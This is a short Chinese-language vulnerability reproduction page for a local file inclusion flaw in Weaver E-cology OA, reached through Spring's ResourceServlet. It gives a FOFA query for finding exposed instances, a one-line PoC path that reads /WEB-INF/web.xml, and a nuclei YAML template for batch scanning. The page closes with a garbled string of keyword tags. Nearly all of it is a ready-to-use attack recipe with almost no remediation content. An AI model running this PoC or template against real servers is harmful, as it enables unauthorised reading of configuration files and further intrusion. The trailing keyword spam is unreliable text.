漏洞描述
E-cology易受Springframework本地文件包含漏洞
漏洞复现
fofa语法:app="泛微-协同办公OA"
登录页面如下:
POC:/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml
nuclei批量yaml文件
id: ecology-springframework-directory-traversal
info:
name: Ecology Springframework - Local File Inclusion
author: princechaddha
severity: high
description: Ecology Springframework is vulnerable to local file inclusion.
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
tags: ecology,springframework,lfi
metadata:
max-request: 1
http:
- method: GET
path:
- "{{BaseURL}}/weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<url-pattern>/weaver/"
part: body
- Springframework 漏洞 E-cology 文件 cologyspringframework漏洞e-cology文件 ifnewscheckoutbycurrentuser漏洞e-cology filedownloadforoutdoc漏洞e-cology cology filedownload漏洞e-cology目录 漏洞e-cology browser cology checkserver路径 漏洞e-cology 漏洞e-cology loginsso cology 漏洞e-cology cology 16177 漏洞e-cology getdata cology workflowcentertreedata漏洞e-cology cology